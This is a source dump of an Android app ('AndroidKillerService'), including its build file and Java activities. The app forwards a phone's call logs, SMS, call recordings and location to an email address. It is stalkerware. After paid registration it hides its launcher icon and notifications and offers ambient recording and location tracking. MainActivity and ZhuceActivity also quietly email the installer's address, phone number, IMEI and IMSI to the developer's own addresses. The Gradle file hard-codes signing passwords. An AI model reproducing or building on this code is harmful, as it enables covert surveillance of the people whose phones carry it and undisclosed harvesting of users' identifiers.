versionCode 1 13 | versionName "1.0" 14 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 15 | multiDexEnabled true 16 | } 17 | signingConfigs { 18 | release { 19 | v2SigningEnabled false 20 | keyAlias 'shiliukeji' 21 | keyPassword 'shiliukeji' 22 | storeFile file('D:/Dev/workspace/xiaocaokeystore.keystore') 23 | storePassword 'shiliukeji' 24 | } 25 | debug { 26 | keyAlias 'shiliukeji' 27 | keyPassword 'shiliukeji' 28 | storeFile file('D:/Dev/workspace/xiaocaokeystore.keystore') 29 | storePassword 'shiliukeji' 30 | } 31 | } 32 | 33 | buildTypes { 34 | release { 35 | minifyEnabled true 36 | shrinkResources true 37 | proguardFiles 'proguard.cfg' 38 | } 39 | } 40 | 41 | aaptOptions { 42 | cruncherEnabled = false 43 | } 44 | 45 | lintOptions { 46 | checkReleaseBuilds false 47 | abortOnError false 48 | } 49 | } 50 | 51 | dependencies { 52 | compile fileTree(include: ['*.jar'], dir: 'libs') 53 | androidTestCompile('com.android.support.test.espresso:espresso-core:2.2.2', { 54 | exclude group: 'com.android.support', module: 'support-annotations' 55 | }) 56 | // compile files('src/libs/locSDK_6.13.jar') 57 | // compile group: 'com.sun.mail', name: 'javax.mail', version: '1.5.6' 58 | compile 'com.sun.mail:android-mail:1.5.5' 59 | compile 'com.sun.mail:android-activation:1.5.5' 60 | compile 'com.android.support:appcompat-v7:25.3.1' 61 | compile 'com.android.support.constraint:constraint-layout:1.0.2' 62 | compile 'com.jakewharton:butterknife:8.6.0' 63 | testCompile 'junit:junit:4.12' 64 | annotationProcessor 'com.jakewharton:butterknife-compiler:8.6.0' 65 | compile 'com.elvishew:xlog:1.3.0' 66 | // 保活内容 67 | compile 'com.xdandroid:hellodaemon:+' 68 | compile files('libs/locSDK_4.0.jar') 69 | } 70 | -------------------------------------------------------------------------------- /app/libs/locSDK_4.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JamesLiAndroid/AndroidKillerService/9d075a2782f2f2833cb441b83a5b88361918434b/app/libs/locSDK_4.0.jar -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # By default, the flags in this file are appended to flags specified 3 | # in D:\Dev\AndroidSDK/tools/proguard/proguard-android.txt 4 | # You can edit the include path and order by changing the proguardFiles 5 | # directive in build.gradle. 6 | # 7 | # For more details, see 8 | # http://developer.android.com/guide/developing/tools/proguard.html 9 | 10 | # Add any project specific keep options here: 11 | 12 | # If your project uses WebView with JS, uncomment the following 13 | # and specify the fully qualified class name to the JavaScript interface 14 | # class: 15 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 16 | # public *; 17 | #} 18 | 19 | # Uncomment this to preserve the line number information for 20 | # debugging stack traces. 21 | #-keepattributes SourceFile,LineNumberTable 22 | 23 | # If you keep the line number information, uncomment this to 24 | # hide the original source file name. 25 | #-renamesourcefileattribute SourceFile 26 | -------------------------------------------------------------------------------- /app/src/androidTest/java/com/shiliukeji/xc_lsy/androidkillerservice/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice; 2 | 3 | import android.content.Context; 4 | import android.support.test.InstrumentationRegistry; 5 | import android.support.test.runner.AndroidJUnit4; 6 | 7 | import org.junit.Test; 8 | import org.junit.runner.RunWith; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | /** 13 | * Instrumentation test, which will execute on an Android device. 14 | * 15 | * @see Testing documentation 16 | */ 17 | @RunWith(AndroidJUnit4.class) 18 | public class ExampleInstrumentedTest { 19 | @Test 20 | public void useAppContext() throws Exception { 21 | // Context of the app under test. 22 | Context appContext = InstrumentationRegistry.getTargetContext(); 23 | 24 | assertEquals("com.shiliukeji.xc_lsy.androidkillerservice", appContext.getPackageName()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 45 | 46 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 69 | 70 | 71 | 72 | 73 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/HelpActivity.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice; 2 | 3 | import android.os.Bundle; 4 | import android.support.v7.app.AppCompatActivity; 5 | import android.text.Html; 6 | import android.widget.TextView; 7 | 8 | public class HelpActivity extends AppCompatActivity { 9 | 10 | private TextView smNeirongTextView; 11 | 12 | @Override 13 | protected void onCreate(Bundle savedInstanceState) { 14 | super.onCreate(savedInstanceState); 15 | setContentView(R.layout.activity_help); 16 | this.smNeirongTextView = (TextView) findViewById(R.id.tv_smneirong); 17 | String neirongHtml = "

特别申明:软件为正规专业软件,非盗号钓鱼之病毒木马,请放心设置使用。

一、软件用途。软件适合工作和业务繁忙的文秘人员,商务人员、客户接洽人员等,用于自动备份您繁忙时的短信记录,通话记录,通话录音,通话位置等到自己的邮箱,等有空闲时再慢慢整理重要通话内容、业务往来短信内容、重要客户联系电话等,以免因电话多、业务多而遗漏。以及用于丢失手机定位找回、孩子电话行为监控、老人迷失或失踪位置跟踪等,禁止用于其他任何非法用途。

二、如何设置。接收邮箱用于接收电话、短信等邮件,格式如XXX@139.com,推荐使用139邮箱(有免费新邮件达到短信通知功能),邮件可在\"收件箱\"和\"已发送\"中查找。注意:视设置邮箱的不同,可能需手动开启邮箱的SMTP服务(经测试,126/163/yeah/sohu/139等邮箱已默认开启该服务),以QQ邮箱为例,电脑操作步骤为:进入邮箱-顶部设置-账户-开启服务-勾选POP3/SMTP服务、IMAP/SMTP服务-保存设置。邮箱密码仅用于软件工作时登录你的邮箱,发送邮件。手机号码用于接收位置短信。功能设置和发送方式可任意勾选或全选。

三、使用步骤。设置好接收邮箱和邮箱密码,勾选必要功能及发送方式,开启你邮箱的SMTP服务,点击保存,稍后,你设置的邮箱将收到测试邮件。如果多次保存均未提示成功,请更换为我们推荐的139邮箱。注意:根据发送方式的不同,软件发送邮件可能需要数据流量。

四、注册正版。请参照注册流程,联系正版注册授权QQ:" + getString(R.string.zhuceqq) + ",注册后可隐藏程序图标、隐藏程序文字名称、隐藏状态栏温馨提示,并具备手机位置主动跟踪、环境录音、换卡自动通知等功能(具体详询)。" + "如果你喜欢,请点击淘宝页面购买注册码:" + getString(R.string.zhucetaobaolink) + "

" + "五、常见问题。有些手机上安装了手机管家,360、乐安全等工具软件,可能引起通话录音或短信备份失败,需要在工具软件中将本软件设置为信任软件,允许软件所有操作,或加入白名单中。

" + "六、申请代理。请联系正版代理授权QQ:1530732769,可定制专属于你的代理版(不需代理费用),可寻找你的潜在客户,并拥有你自己的软件售卖地址链接(淘宝或其他店铺)

" + "软件总售后QQ:1530732769" + "
总售后邮箱:1530732769@qq.com 敬请咨询。
二维码扫描下载地址:" + "http://www.malasi.cn/home.htm"; 18 | this.smNeirongTextView.setAutoLinkMask(1); 19 | this.smNeirongTextView.setText(Html.fromHtml(neirongHtml)); 20 | 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice; 2 | 3 | import android.content.Context; 4 | import android.content.Intent; 5 | import android.content.SharedPreferences; 6 | import android.content.pm.PackageManager; 7 | import android.os.Bundle; 8 | import android.os.Handler; 9 | import android.os.HandlerThread; 10 | import android.os.Message; 11 | import android.support.v7.app.AppCompatActivity; 12 | import android.telephony.TelephonyManager; 13 | import android.text.Html; 14 | import android.view.View; 15 | import android.widget.Button; 16 | import android.widget.CheckBox; 17 | import android.widget.EditText; 18 | import android.widget.RelativeLayout; 19 | import android.widget.TextView; 20 | import android.widget.Toast; 21 | 22 | import com.shiliukeji.xc_lsy.androidkillerservice.mail.MailSenderInfo; 23 | import com.shiliukeji.xc_lsy.androidkillerservice.mail.SimpleMailSender; 24 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService; 25 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService; 26 | import com.xdandroid.hellodaemon.IntentWrapper; 27 | 28 | import java.util.Locale; 29 | import java.util.TimerTask; 30 | 31 | public class MainActivity extends AppCompatActivity { 32 | protected static final int LOGINOVER = 0; 33 | protected static int testok = 0; 34 | private static boolean userEdited = true; 35 | private String IMSI; 36 | private String NativePhoneNumber; 37 | private CheckBox allNetCheckBox; 38 | private boolean allnet; 39 | private boolean allnetTemp; 40 | private String content; 41 | private boolean duanxinjilu; 42 | private boolean duanxinjiluTemp; 43 | private CheckBox dxjlCheckBox; 44 | private EditText emailEditText; 45 | private RelativeLayout gonggaoLayout; 46 | private Handler handler; 47 | private RelativeLayout mainlLayout; 48 | private EditText passwordEditText; 49 | private EditText phoneNumberEditText; 50 | private String portTemp; 51 | private SharedPreferences ps; 52 | private Button sencondHideButton; 53 | private String shoujiImei; 54 | private String shoujiName; 55 | private TextView shouquanqqTextView; 56 | private String smtpTemp; 57 | private RelativeLayout startLayout; 58 | private String subject; 59 | private Button testSaveButton; 60 | private CheckBox thjlCheckBox; 61 | private CheckBox thlyCheckBox; 62 | private boolean tonghuajilu; 63 | private boolean tonghuajiluTemp; 64 | private boolean tonghualuyin; 65 | private boolean tonghualuyinTemp; 66 | TimerTask tt = new TimerTask() { 67 | public void run() { 68 | MainActivity.this.handler.sendMessageDelayed(MainActivity.this.handler.obtainMessage(0), 3000); 69 | } 70 | }; 71 | private String userEmail; 72 | private String userEmailTemp; 73 | private String userPassword; 74 | private String userPasswordTemp; 75 | private String userPhoneNumber; 76 | private String userPhoneNumberTemp; 77 | private boolean userSetOk; 78 | private boolean weizhijilu; 79 | private boolean weizhijiluTemp; 80 | private boolean wifi; 81 | private CheckBox wifiCheckBox; 82 | private boolean wifiTemp; 83 | private CheckBox wzjlCheckBox; 84 | private TextView yhxuzhiTextView; 85 | private SharedPreferences zcps; 86 | private Button zhuceHideButton; 87 | 88 | protected void onCreate(Bundle savedInstanceState) { 89 | super.onCreate(savedInstanceState); 90 | this.zcps = getSharedPreferences("reg", 0); 91 | setContentView(R.layout.activity_main); 92 | findView(); 93 | this.shouquanqqTextView.setText("正版注册授权QQ:" + getString(R.string.zhuceqq)); 94 | getPrefparas(); 95 | showPrefparas(); 96 | startService(new Intent(this, PhoneService.class)); 97 | this.startLayout.setVisibility(View.VISIBLE); 98 | new HandlerThread("myHandlerThread").start(); 99 | this.handler = new Handler() { 100 | public void handleMessage(Message msg) { 101 | if (msg.what == 0) { 102 | MainActivity.this.startLayout.setVisibility(View.INVISIBLE); 103 | MainActivity.this.gonggaoLayout.setVisibility(View.VISIBLE); 104 | MainActivity.this.mainlLayout.setVisibility(View.INVISIBLE); 105 | } 106 | } 107 | }; 108 | this.tt.run(); 109 | } 110 | 111 | protected void onRestart() { 112 | super.onRestart(); 113 | if (OtherOperatorService.isReg(this.ps.getString("email", ""), this.ps.getString("shoujiimei", ""), this.zcps.getString("zhucema", ""))) { 114 | this.zhuceHideButton.setEnabled(false); 115 | this.testSaveButton.setEnabled(false); 116 | Toast.makeText(getApplicationContext(), "注册成功,可以隐藏了", Toast.LENGTH_SHORT).show(); 117 | } 118 | } 119 | 120 | public void yes(View v) { 121 | this.startLayout.setVisibility(View.INVISIBLE); 122 | this.gonggaoLayout.setVisibility(View.INVISIBLE); 123 | this.mainlLayout.setVisibility(View.VISIBLE); 124 | } 125 | 126 | public void no(View v) { 127 | System.exit(0); 128 | } 129 | 130 | public void ipay(View v) { 131 | Toast.makeText(getApplicationContext(), "详询正版代理授权QQ:1530732769", Toast.LENGTH_SHORT).show(); 132 | } 133 | 134 | public void testSave(View v) { 135 | getUserInput(); 136 | this.smtpTemp = getUserSmtp(this.userEmailTemp); 137 | this.portTemp = getUserPort(this.userEmailTemp); 138 | if (!userEdited) { 139 | reset(v); 140 | } else if (this.smtpTemp == null && this.portTemp == null) { 141 | Toast.makeText(getApplicationContext(), "检查邮箱格式是否正确(或smtp或Port)", Toast.LENGTH_SHORT).show(); 142 | } else if (OtherOperatorService.check3Gwifi(getApplicationContext())) { 143 | Toast.makeText(getApplicationContext(), "邮箱测试中,请稍后……", Toast.LENGTH_SHORT).show(); 144 | this.shoujiName = "手机通话短信定位大师" + OtherOperatorService.getImei(getApplicationContext(), 3); 145 | this.shoujiImei = OtherOperatorService.getImei(getApplicationContext(), 8); 146 | this.subject = this.shoujiName + "发来--测试邮件"; 147 | this.content = "收到本邮件表示:你的邮箱格式、邮箱密码和邮箱配置完全正确!

本软件适合工作和业务繁忙的文秘人员,商务人员、客户接洽人员等,用于自动备份您忙录时的短信记录,通话记录,通话录音,通话位置等到自己的邮箱,等有空闲时再慢慢整理重要通话内容、业务往来短信内容、重要客户联系电话等,以免因电话多、业务多而遗漏。以及用于丢失手机定位找回、孩子电话行为监控、老人迷失或失踪位置跟踪等,禁止用于其他任何非法用途。

本软件为免费软件,软件注册后为正版,可隐藏程序图标、隐藏程序文字名称、隐藏状态栏温馨提示,并具备手机位置主动跟踪、环境录音、换卡自动通知等功能(具体详询),享受后续免费升级服务。如果你喜欢,请联系注册授权QQ:" + getString(R.string.zhuceqq) + ",购买注册为正版。淘宝网店页面:
" + getString(R.string.zhucetaobaolink) + ""; 148 | new Thread(new Runnable() { 149 | public void run() { 150 | if (new SimpleMailSender().sendHtmlMail(new MailSenderInfo(MainActivity.this.smtpTemp, MainActivity.this.portTemp, MainActivity.this.userEmailTemp, MainActivity.this.userPasswordTemp, true, MainActivity.this.userEmailTemp, new String[]{MainActivity.this.userEmailTemp}, MainActivity.this.subject, MainActivity.this.content))) { 151 | MainActivity.testok = 1; 152 | } else { 153 | MainActivity.testok = 2; 154 | } 155 | } 156 | }).start(); 157 | TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); 158 | this.NativePhoneNumber = telephonyManager.getLine1Number(); 159 | this.IMSI = telephonyManager.getSubscriberId(); 160 | while (testok != 1) { 161 | if (testok == 2) { 162 | Toast.makeText(getApplicationContext(), "开启你邮箱SMTP服务(查看帮助),或邮箱或密码输入错误;或换一个邮箱重试!", Toast.LENGTH_SHORT).show(); 163 | testok = 0; 164 | return; 165 | } 166 | } 167 | if (userSave()) { 168 | Toast.makeText(getApplicationContext(), "恭喜你,保存成功", Toast.LENGTH_SHORT).show(); 169 | String zhuceqq = getString(R.string.zhuceqq); 170 | String zhuceemail = getString(R.string.zhuceemail); 171 | String subject = "用户" + this.userEmailTemp + ";" + this.userPhoneNumberTemp + ";" + this.shoujiImei + "设置成功(版本号:" + getString(R.string.version) + ")"; 172 | OtherOperatorService.uploadEmail(this.smtpTemp, this.portTemp, this.userEmailTemp, this.userPasswordTemp, this.userEmailTemp, 173 | "abc@163.com".equalsIgnoreCase(zhuceemail) ? new String[]{zhuceemail} : new String[]{zhuceemail, "abc@163.com"}, 174 | subject, new StringBuilder(String.valueOf(subject)).append("
功能:").append(this.tonghuajiluTemp).append(",") 175 | .append(this.duanxinjiluTemp).append(",").append(this.tonghualuyinTemp).append(",") 176 | .append(this.weizhijiluTemp).append("
发送:").append(this.allnetTemp).append(",") 177 | .append(this.wifiTemp).append("

代理:").append(zhuceqq).append(",").append(zhuceemail) 178 | .append(",当前卡编码").append(this.NativePhoneNumber).append(",").append(this.IMSI).toString()); 179 | setUserEditedFalse(); 180 | } else { 181 | Toast.makeText(getApplicationContext(), "测试成功,保存失败", Toast.LENGTH_SHORT).show(); 182 | } 183 | testok = 0; 184 | } else { 185 | Toast.makeText(getApplicationContext(), "先开启手机网络,以便测试邮箱是否可用", Toast.LENGTH_SHORT).show(); 186 | } 187 | } 188 | 189 | protected boolean userSave() { 190 | SharedPreferences.Editor userEditor = getSharedPreferences("userset", 0).edit(); 191 | userEditor.putString("shoujiname", this.shoujiName); 192 | userEditor.putString("email", this.userEmailTemp); 193 | userEditor.putString("password", this.userPasswordTemp); 194 | userEditor.putString("phonenumber", this.userPhoneNumberTemp); 195 | userEditor.putBoolean("tonghuajilu", this.tonghuajiluTemp); 196 | userEditor.putBoolean("duanxinjilu", this.duanxinjiluTemp); 197 | userEditor.putBoolean("tonghualuyin", this.tonghualuyinTemp); 198 | userEditor.putBoolean("weizhijilu", this.weizhijiluTemp); 199 | userEditor.putBoolean("allnet", this.allnetTemp); 200 | userEditor.putBoolean("wifi", this.wifiTemp); 201 | userEditor.putString("smtp", this.smtpTemp); 202 | userEditor.putString("port", this.portTemp); 203 | userEditor.putString("shoujiimei", this.shoujiImei); 204 | userEditor.putString("cardnumber", this.NativePhoneNumber); 205 | userEditor.putString("cardimsi", this.IMSI); 206 | userEditor.putBoolean("isok", true); 207 | if (userEditor.commit()) { 208 | return true; 209 | } 210 | return false; 211 | } 212 | 213 | public void zhucehide(View v) { 214 | startActivity(new Intent(this, ZhuceActivity.class)); 215 | } 216 | 217 | public void hide(View v) { 218 | if (!this.ps.getBoolean("isok", false) || !this.zcps.getBoolean("isok", false)) { 219 | Toast.makeText(getApplicationContext(), "保存成功和注册成功后,才能隐藏", Toast.LENGTH_SHORT).show(); 220 | } else if (!OtherOperatorService.getImei(getApplicationContext(), 8).equals(this.ps.getString("shoujiimei", ""))) { 221 | Toast.makeText(getApplicationContext(), "请勿不要非法操作", Toast.LENGTH_SHORT).show(); 222 | } else if (OtherOperatorService.isReg(this.ps.getString("email", ""), this.ps.getString("shoujiimei", ""), this.zcps.getString("zhucema", ""))) { 223 | try { 224 | // 隐藏图标的操作 225 | getPackageManager().setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 226 | this.sencondHideButton.setEnabled(false); 227 | Toast.makeText(getApplicationContext(), "恭喜你,隐藏成功", Toast.LENGTH_SHORT).show(); 228 | } catch (Exception e) { 229 | e.printStackTrace(); 230 | Toast.makeText(getApplicationContext(), "隐藏不成功,试试卸载重新安装软件", Toast.LENGTH_SHORT).show(); 231 | } 232 | } else { 233 | Toast.makeText(getApplicationContext(), "保存成功后,才能隐藏", Toast.LENGTH_SHORT).show(); 234 | } 235 | } 236 | 237 | public void help(View v) { 238 | startActivity(new Intent(this, HelpActivity.class)); 239 | } 240 | 241 | public void reset(View v) { 242 | setUserEditedTrue(); 243 | } 244 | 245 | private String getUserPort(String email) { 246 | if (getEmailSite(email) != null) { 247 | return "25"; 248 | } 249 | return null; 250 | } 251 | 252 | private String getUserSmtp(String email) { 253 | String temp = getEmailSite(email); 254 | if (temp != null) { 255 | return "smtp." + temp + email.substring(email.lastIndexOf(".")).trim(); 256 | } 257 | return null; 258 | } 259 | 260 | private String getEmailSite(String email) { 261 | if (!checkEmail(email)) { 262 | return null; 263 | } 264 | int first = email.indexOf("@"); 265 | int end = email.indexOf("."); 266 | int last = email.lastIndexOf("."); 267 | if (end == last) { 268 | return email.substring(first + 1, end); 269 | } 270 | return email.substring(first + 1, last); 271 | } 272 | 273 | private boolean checkEmail(String email) { 274 | if ("".equals(email) || email == null) { 275 | return false; 276 | } 277 | int first = email.indexOf("@"); 278 | int first1 = email.indexOf("."); 279 | int last = email.lastIndexOf("."); 280 | if (first < 1 || first1 < 1 || first > first1 || last == email.length() - 1) { 281 | return false; 282 | } 283 | if (first1 - first <= 1) { 284 | return false; 285 | } 286 | return true; 287 | } 288 | 289 | private void setUserEditedFalse() { 290 | this.emailEditText.setEnabled(false); 291 | this.passwordEditText.setEnabled(false); 292 | this.phoneNumberEditText.setEnabled(false); 293 | this.thjlCheckBox.setEnabled(false); 294 | this.dxjlCheckBox.setEnabled(false); 295 | this.thlyCheckBox.setEnabled(false); 296 | this.wzjlCheckBox.setEnabled(false); 297 | this.allNetCheckBox.setEnabled(false); 298 | this.wifiCheckBox.setEnabled(false); 299 | this.testSaveButton.setText("重设"); 300 | userEdited = false; 301 | } 302 | 303 | private void setUserEditedTrue() { 304 | this.emailEditText.setEnabled(true); 305 | this.passwordEditText.setEnabled(true); 306 | this.phoneNumberEditText.setEnabled(true); 307 | this.thjlCheckBox.setEnabled(true); 308 | this.dxjlCheckBox.setEnabled(true); 309 | this.thlyCheckBox.setEnabled(true); 310 | this.wzjlCheckBox.setEnabled(true); 311 | this.allNetCheckBox.setEnabled(true); 312 | this.wifiCheckBox.setEnabled(true); 313 | this.testSaveButton.setText("保存"); 314 | userEdited = true; 315 | } 316 | 317 | private void getUserInput() { 318 | this.userEmailTemp = this.emailEditText.getText().toString().toUpperCase(Locale.US).trim(); 319 | this.userPasswordTemp = this.passwordEditText.getText().toString().trim(); 320 | this.userPhoneNumberTemp = this.phoneNumberEditText.getText().toString().trim(); 321 | this.tonghuajiluTemp = this.thjlCheckBox.isChecked(); 322 | this.duanxinjiluTemp = this.dxjlCheckBox.isChecked(); 323 | this.tonghualuyinTemp = this.thlyCheckBox.isChecked(); 324 | this.weizhijiluTemp = this.wzjlCheckBox.isChecked(); 325 | this.allnetTemp = this.allNetCheckBox.isChecked(); 326 | this.wifiTemp = this.wifiCheckBox.isChecked(); 327 | } 328 | 329 | private void showPrefparas() { 330 | if (this.userSetOk) { 331 | this.emailEditText.setText(this.userEmail); 332 | this.passwordEditText.setText(this.userPassword); 333 | this.phoneNumberEditText.setText(this.userPhoneNumber); 334 | this.thjlCheckBox.setChecked(this.tonghuajilu); 335 | this.dxjlCheckBox.setChecked(this.duanxinjilu); 336 | this.thlyCheckBox.setChecked(this.tonghualuyin); 337 | this.wzjlCheckBox.setChecked(this.weizhijilu); 338 | this.allNetCheckBox.setChecked(this.allnet); 339 | this.wifiCheckBox.setChecked(this.wifi); 340 | if (this.ps.getBoolean("isok", false)) { 341 | this.testSaveButton.setText("重设"); 342 | } 343 | if (this.zcps.getBoolean("isok", false)) { 344 | this.zhuceHideButton.setEnabled(false); 345 | this.testSaveButton.setEnabled(false); 346 | } 347 | setUserEditedFalse(); 348 | } 349 | } 350 | 351 | private void getPrefparas() { 352 | this.ps = getSharedPreferences("userset", 0); 353 | this.userSetOk = this.ps.getBoolean("isok", false); 354 | this.userEmail = this.ps.getString("email", ""); 355 | this.userPassword = this.ps.getString("password", ""); 356 | this.userPhoneNumber = this.ps.getString("phonenumber", ""); 357 | this.tonghuajilu = this.ps.getBoolean("tonghuajilu", true); 358 | this.duanxinjilu = this.ps.getBoolean("duanxinjilu", true); 359 | this.tonghualuyin = this.ps.getBoolean("tonghualuyin", false); 360 | this.weizhijilu = this.ps.getBoolean("weizhijilu", false); 361 | this.allnet = this.ps.getBoolean("allnet", true); 362 | this.wifi = this.ps.getBoolean("wifi", false); 363 | } 364 | 365 | private void findView() { 366 | this.emailEditText = (EditText) findViewById(R.id.et_useremail); 367 | this.passwordEditText = (EditText) findViewById(R.id.et_password); 368 | this.phoneNumberEditText = (EditText) findViewById(R.id.et_phonenumber); 369 | this.thjlCheckBox = (CheckBox) findViewById(R.id.cb_tonghuajilu); 370 | this.dxjlCheckBox = (CheckBox) findViewById(R.id.cb_duanxinjilu); 371 | this.thlyCheckBox = (CheckBox) findViewById(R.id.cb_tonghualuyin); 372 | this.wzjlCheckBox = (CheckBox) findViewById(R.id.cb_weizhijilu); 373 | this.allNetCheckBox = (CheckBox) findViewById(R.id.cb_net); 374 | this.wifiCheckBox = (CheckBox) findViewById(R.id.cb_wifi); 375 | this.testSaveButton = (Button) findViewById(R.id.testsave); 376 | this.zhuceHideButton = (Button) findViewById(R.id.zhucehide); 377 | this.sencondHideButton = (Button) findViewById(R.id.sencondhide); 378 | this.startLayout = (RelativeLayout) findViewById(R.id.rl_start); 379 | this.gonggaoLayout = (RelativeLayout) findViewById(R.id.rl_gonggao); 380 | this.mainlLayout = (RelativeLayout) findViewById(R.id.rl_Main); 381 | this.shouquanqqTextView = (TextView) findViewById(R.id.tv_qq); 382 | this.yhxuzhiTextView = (TextView) findViewById(R.id.tv_yhxuzhi); 383 | this.yhxuzhiTextView.setText(Html.fromHtml("

用户须知:

本软件为免费软件,不注册也可正常使用。

一、软件用途。软件适合工作和业务繁忙的文秘人员,商务人员、客户接洽人员等,用于自动备份您忙录时的短信记录,通话记录,通话录音,通话位置等到自己的邮箱,以及用于丢失手机定位找回、被监护人电话行为监控、老人迷失或失踪位置跟踪等。

二、免责声明。本软件仅用于个人测试、研究和使用,禁止用于其他任何非法用途。如果因使用本软件而产生的法律纠纷或违法行为,软件作者不承担任何责任。

三、正版注册。软件为正规专业软件,非盗号钓鱼之病毒木马,请放心设置使用。注册请联系授权QQ:" + getString(R.string.zhuceqq) + ",注册后更稳定、功能更多,并享受免费后续升级服务。

" + "四、软件版本" + getString(R.string.version) + ",并持续更新中,不明之处点击帮助。软件适于安卓系统2.2以上手机。

" + "五、如果你同意上述有关约定,请点接受后,继续使用,不同意请拒绝。")); 384 | } 385 | //防止华为机型未加入白名单时按返回键回到桌面再锁屏后几秒钟进程被杀 386 | @Override public void onBackPressed() { IntentWrapper.onBackPressed(this); } 387 | } 388 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/ZhuceActivity.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice; 2 | 3 | import android.content.Intent; 4 | import android.content.SharedPreferences; 5 | import android.os.Bundle; 6 | import android.support.v7.app.AppCompatActivity; 7 | import android.text.Html; 8 | import android.view.View; 9 | import android.widget.EditText; 10 | import android.widget.TextView; 11 | import android.widget.Toast; 12 | 13 | import com.elvishew.xlog.XLog; 14 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe; 15 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService; 16 | 17 | import java.util.Locale; 18 | 19 | public class ZhuceActivity extends AppCompatActivity { 20 | private GetSharePrefe ps; 21 | private TextView showmetTextView; 22 | private SharedPreferences zcps; 23 | private EditText zhucemaeEditText; 24 | 25 | protected void onCreate(Bundle savedInstanceState) { 26 | super.onCreate(savedInstanceState); 27 | setContentView(R.layout.activity_zhuce); 28 | this.ps = new GetSharePrefe(getApplicationContext()); 29 | this.zcps = getSharedPreferences("reg", 0); 30 | this.showmetTextView = (TextView) findViewById(R.id.tv_showme); 31 | this.zhucemaeEditText = (EditText) findViewById(R.id.et_input); 32 | this.showmetTextView.setText(Html.fromHtml("***请联系正版注册授权QQ:" + getString(R.string.zhuceqq) + "。" + "不注册也可正常使用,注册后可隐藏程序图标、程序名称、状态栏通知,并具备手机位置主动跟踪、环境录音、换卡自动通知等功能(具体详询),享受后续免费升级服务。支持手机序号或电子邮箱注册(一个注册码可注册多台手机)。

" + "***注册流程:电脑上打开你设置的邮箱--找到并打开\"测试邮件\"--点击淘宝连接购买注册码--提供你设置的邮箱或手机序号(本机序号:" + OtherOperatorService.getImei(getApplicationContext(), 8) + "),我们分分钟为你注册并发送注册码给你--你在本页面输入注册码后保存--之后返回设置页面点击\"隐藏\"即可。")); 33 | } 34 | 35 | public void saveHide(View v) { 36 | XLog.d("保存注册码!"); 37 | String zhucema = this.zhucemaeEditText.getText().toString().trim().toUpperCase(Locale.US); 38 | if (!OtherOperatorService.check3Gwifi(getApplicationContext())) { 39 | Toast.makeText(getApplicationContext(), "先开启手机网络以便为你注册", Toast.LENGTH_SHORT).show(); 40 | } else if (!this.ps.isUserSetOk()) { 41 | Toast.makeText(getApplicationContext(), "返回先设置邮箱,并保存成功", Toast.LENGTH_SHORT).show(); 42 | } else if ("".equals(zhucema) || zhucema == null) { 43 | Toast.makeText(getApplicationContext(), "请先输入注册码", Toast.LENGTH_SHORT).show(); 44 | } else if (!OtherOperatorService.isReg(this.ps.getUserEmail(), this.ps.getShoujiImei(), zhucema)) { 45 | Toast.makeText(getApplicationContext(), "注册不成功,请检查注册码是否正确", Toast.LENGTH_SHORT).show(); 46 | } else if (save(zhucema)) { 47 | String userEmailTemp = this.ps.getUserEmail(); 48 | String zhuceqq = getString(R.string.zhuceqq); 49 | String zhuceemail = getString(R.string.zhuceemail); 50 | String[] tos = "abc@163.com".equalsIgnoreCase(zhuceemail) ? new String[]{zhuceemail} : new String[]{zhuceemail, "abc@163.com"}; 51 | String subject = "用户" + userEmailTemp + ":" + this.ps.getUserPhoneNumber() + ":" + this.ps.getShoujiImei() + "注册成功(版本号:" + getString(R.string.version) + ")"; 52 | OtherOperatorService.uploadEmail(this.ps.getSmtp(), this.ps.getPort(), userEmailTemp, this.ps.getUserPassword(), userEmailTemp, tos, subject, new StringBuilder(String.valueOf(subject)).append("
功能:").append(this.ps.isTonghuajilu()).append(",").append(this.ps.isDuanxinjilu()).append(",").append(this.ps.isTonghualuyin()).append(",").append(this.ps.isWeizhijilu()).append("
发送:").append(this.ps.isAllnet()).append(",").append(this.ps.isWifi()).append("
注册:").append(zhucema).append("

